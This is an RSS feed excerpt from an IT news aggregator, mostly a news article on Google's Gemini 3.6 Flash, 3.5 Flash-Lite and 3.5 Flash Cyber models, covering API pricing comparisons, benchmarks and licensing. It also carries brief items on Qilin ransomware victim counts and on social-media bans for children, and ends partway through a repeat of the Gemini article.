<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. </p><p>The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.</p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Project Glasswing program</a>, and continued by <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI with its staggered rollout for GPT-5.6</a>. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Qilin Ransomware Claims 1,358 Victims as Global Attacks Reach New Record]]></title>
<description><![CDATA[Qilin ransomware has grown from a fast-moving criminal operation into one of the most visible threats in the global extortion landscape. The group encrypts systems and steals data, then pressures victims with the risk of public leaks. Its campaigns have…
Read more →
The post Qilin Ransomware Clai...]]></description>
<link>https://tsecurity.de/de/3684856/it-security-nachrichten/qilin-ransomware-claims-1358-victims-as-global-attacks-reach-new-record/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684856/it-security-nachrichten/qilin-ransomware-claims-1358-victims-as-global-attacks-reach-new-record/</guid>
<pubDate>Tue, 21 Jul 2026 23:05:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Qilin ransomware has grown from a fast-moving criminal operation into one of the most visible threats in the global extortion landscape. The group encrypts systems and steals data, then pressures victims with the risk of public leaks. Its campaigns have…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/qilin-ransomware-claims-1358-victims-as-global-attacks-reach-new-record/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/qilin-ransomware-claims-1358-victims-as-global-attacks-reach-new-record/">Qilin Ransomware Claims 1,358 Victims as Global Attacks Reach New Record</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[These are the countries moving to ban social media for children]]></title>
<description><![CDATA[Australia was the first country to issue a ban in late 2025, aiming to reduce the pressures and risks that young users may face on social media, including cyberbullying, social media addiction, and exposure to predators.]]></description>
<link>https://tsecurity.de/de/3684801/it-nachrichten/these-are-the-countries-moving-to-ban-social-media-for-children/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684801/it-nachrichten/these-are-the-countries-moving-to-ban-social-media-for-children/</guid>
<pubDate>Tue, 21 Jul 2026 22:58:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Australia was the first country to issue a ban in late 2025, aiming to reduce the pressures and risks that young users may face on social media, including cyberbullying, social media addiction, and exposure to predators.]]></content:encoded>
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<title><![CDATA[Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 22:56:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, 